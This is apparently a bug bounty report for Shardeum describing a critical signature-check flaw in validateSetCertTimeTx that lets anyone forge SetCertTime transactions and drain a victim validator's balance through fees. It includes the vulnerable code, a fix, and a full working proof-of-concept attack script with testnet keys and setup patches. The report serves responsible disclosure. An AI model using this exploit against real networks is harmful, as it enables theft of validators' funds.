#39813 [BC-Critical] Bypass `SetCertTime` transaction signature check #2

Submitted on Feb 8th 2025 at 00:40:28 UTC by @Blockian for Audit Comp | Shardeum: Core III

• Report ID: #39813

• Report Type: Blockchain/DLT

• Report severity: Critical

• Target: https://github.com/shardeum/shardeum/tree/bugbounty

• Impacts:

  • Direct loss of funds

  • Network not being able to confirm new transactions (total network shutdown)

Description

Impact

Bypass the signature of SetCertTime transaction, which allows for draining any validators balance.

• Note: same impact as report 33750 but a different root cause.

Root Cause

The function validateSetCertTimeTx validates that the transaction is signed by nominee instead of nominator.

Attack Flow

A malicious user submits a SetCertTime transaction on behalf of someone else (nominator == victim), signing the transaction and setting themselves as nominee, causing a fee to be deducted from the victim's account. The malicious user can then continue doing so until the node is kicked / drained.

Deep Dive

When validating a SetCertTime transaction, the function validateTxnFields which is used to validate transaction fields calls validateSetCertTimeTx which validates properties of the transaction, including its signer's identity:

export function validateSetCertTimeTx(tx: SetCertTime): { isValid: boolean; reason: string } {
  // nominee is NodeAccount2, will need here to verify address with other methods
  // if (!isValidAddress(tx.nominee)) {
  //   return { isValid: false, reason: 'Invalid nominee address' }
  // }
  if (!tx.nominee || tx.nominee.length !== 64) return { isValid: false, reason: 'Invalid nominee address' }
  if (!isValidAddress(tx.nominator)) {
    return { isValid: false, reason: 'Invalid nominator address' }
  }
  if (tx.duration <= 0) {
    return { isValid: false, reason: 'Duration in cert tx must be > 0' }
  }
  if (tx.duration > getCertCycleDuration()) {
    return { isValid: false, reason: 'Duration in cert tx must be not greater than certCycleDuration' }
  }
  if (tx.timestamp <= 0) {
    return { isValid: false, reason: 'Timestamp in cert tx must be > 0' }
  }
  try {
    if (!verify(tx, tx.nominee)) return { isValid: false, reason: 'Invalid signature for SetCertTime tx' } // <-- HERE!
  } catch (e) {
    return { isValid: false, reason: 'Invalid signature for SetCertTime tx' }
  }

  return { isValid: true, reason: '' }
}

The problem is that tx.nominee doesn't matter and isn't checked against anything, allowing anyone to set themselves as the nominee and sign an arbitrary SetCertTime transaction.

The fee is then subtracted from the victim's balance in applySetCertTimeTx here, according to the nominator field:

export function applySetCertTimeTx(
  shardus,
  tx: SetCertTime,
  wrappedStates: WrappedStates,
  txId: string,
  txTimestamp: number,
  applyResponse: ShardusTypes.ApplyResponse
): void {
	...
	const acct = wrappedStates[toShardusAddress(tx.nominator, AccountType.Account)].data // <-- HERE
	...
	    operatorEVMAccount.account.balance = SafeBalance.subtractBigintBalance(operatorEVMAccount.account.balance, costTxFee) // <-- AND HERE
	}
	...
}

Suggested Fix

Change

if (!verify(tx, tx.nominee)) return { isValid: false, reason: 'Invalid signature for SetCertTime tx' }

to

if (!verify(tx, tx.nominator)) return { isValid: false, reason: 'Invalid signature for SetCertTime tx' }

in validateSetCertTimeTx .

Severity

This allows to kick validators and do drain funds, and so it critical. In addition, this is the same as 33750 which was classified as critical.

Proof of Concept

POC

1. All of shardeum, core, and json-rpc-server should be on the bugbounty branch

2. Apply debug-10-nodes as stated in the docs

3. Apply the following patch on core (the logs are optional):

diff --git a/src/logger/index.ts b/src/logger/index.ts
index bfabe928..2c4fae5a 100644
--- a/src/logger/index.ts
+++ b/src/logger/index.ts
@@ -148,7 +148,7 @@ export let logFlags: LogFlags = {
   net_rust: false,
   net_verbose: false,
   net_stats: false,
-  dapp_verbose: false,
+  dapp_verbose: true,
   profiling_verbose: false,
 
   aalg: false,
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..5003889a 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -2911,6 +2911,22 @@ class Shardus extends EventEmitter {
    * Register the exit and config routes
    */
   _registerRoutes() {
+    this.network.registerExternalGet('bugbounty', async (req, res) => {
+      const info = { 
+        active: Self.isActive,
+        ip: Self.ip,
+        port: Self.port 
+      }
+      if (Self.isActive) {
+        info['id'] = Self.id
+        info['public_key'] = Context.crypto.keypair.publicKey
+        info['private_key'] = Context.crypto.keypair.secretKey
+        info['active_nodes'] = NodeList.activeByIdOrder
+        info['archivers'] = [...Archivers.archivers.values()]
+        info['hash_key'] = config.crypto.hashKey
+      } 
+      res.send(info)
+    })
     // DEBUG routes
     this.network.registerExternalPost('exit', isDebugModeMiddlewareHigh, async (_req, res) => {
       res.json({ success: true })

1. Apply the following patch on shardeum

diff --git a/src/config/genesis.json b/src/config/genesis.json
index 53aeee7e..65e5cc1b 100644
--- a/src/config/genesis.json
+++ b/src/config/genesis.json
@@ -89,6 +89,9 @@
   "0x0c799D15c3f2e9dAf10677aD09565E93CAc3e4c4": {
     "wei": "1001000000000000000000"
   },
+  "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d": {
+    "wei": "10000000000000000000000000"
+  },
   "0xEbe173a837Bc30BFEF6E13C9988a4771a4D83275": {
     "wei": "1001000000000000000000"
   },

1. Run the network with 10 nodes

2. Wait for all the nodes to be active

3. Run the following code, to create a staking account:

import { ethers } from "ethers";
import { fromAscii } from "@ethereumjs/util";

// dont forget to add to src/config.genesis.json in shardeum, see server_genesis.patch
const VICTIM_WALLET = {
        address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
        privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const JSON_RPC_URL = "http://127.0.0.1:8080";

async function sendStakeTransaction() {
    const stake_to_address = "0x0000000000000000000000000000000000010000";
    const stake_data = {
        stake: 10000000000000000000,
        internalTXType: 6, // Stake
        nominee: "81d01cb948555a761b6904b3198304593593548c2fcc34407268f61bf8463a8c",
        nominator: VICTIM_WALLET.address,
    };
    const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
    const wallet = new ethers.Wallet(VICTIM_WALLET.privateKey, provider);
    const stake_tx = {
        to: stake_to_address,
        value: BigInt(10000000000000000000),
        data: fromAscii(JSON.stringify(stake_data))
    };
    const tx = await wallet.sendTransaction(stake_tx);
    const receipt = await tx.wait();

    return receipt;
}

await sendStakeTransaction()

NOTE: 81d01cb948555a761b6904b3198304593593548c2fcc34407268f61bf8463a8c is the nominee just so an account is created for it. 8. Run the following code, to start draining the staking account:

import axios from "axios";
import crypto from '@shardus/crypto-utils';

crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")

let keyPair = {
    publicKey: '81d01cb948555a761b6904b3198304593593548c2fcc34407268f61bf8463a8c',
    secretKey: 'a677b298cb9d5bdbc8d8cbde1311d9092c5c73cb3d8917ff62f6ba3078acd15381d01cb948555a761b6904b3198304593593548c2fcc34407268f61bf8463a8c'
}
let publicKeyAttacker = keyPair.publicKey
let secretKeyAttacker = keyPair.secretKey
const VICTIM_WALLET = {
    address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
    privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
console.log(publicKeyAttacker, secretKeyAttacker);

const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))

const main = async  () => {
    console.log("Grabbing Nodelist ....");
    let res = await axios.get('http://0.0.0.0:4000/nodelist')
    const nodelist = res.data.nodeList
    const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]

    const setCertTimeTx = {
        isInternalTx: true,
        internalTXType: 5,
        nominee: "",
        nominator: "",
        duration: 19, 
        timestamp: Date.now() + 1000,
    }
    setCertTimeTx.nominator = VICTIM_WALLET.address
    
    const nominator = setCertTimeTx.nominator.replace('0x', '').padEnd(64, '0')
    const before = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp before attack --------------------------------------")
    console.log(before.data);
    
    
    console.log("Constructing InternalTx setCertTime: ", setCertTimeTx)
    
    let url = `http://${randomNode.ip}:${randomNode.port}/bugbounty`
    res = await axios.get(url)
    if (!res.data.active) {
        console.log('ERROR - Attacker node is not active.')
        return
    }
    const CONFIG = res.data
    
    crypto.init(CONFIG['hash_key'])
    
    setCertTimeTx.nominee = publicKeyAttacker;
    crypto.signObj(setCertTimeTx, secretKeyAttacker, publicKeyAttacker)
    console.log("Signing InternalTx setCertTime: ", setCertTimeTx)

    console.log("Firing InternalTx setCertTime ....")
    res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, setCertTimeTx)

    if(!res.data.success) throw new Error(res.data.reason)

    console.log("Waiting 60 sec for transaction to be finalized");
    await sleep(60000)

    const after = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp after attack --------------------------------------")
    console.log(after.data);

}

main();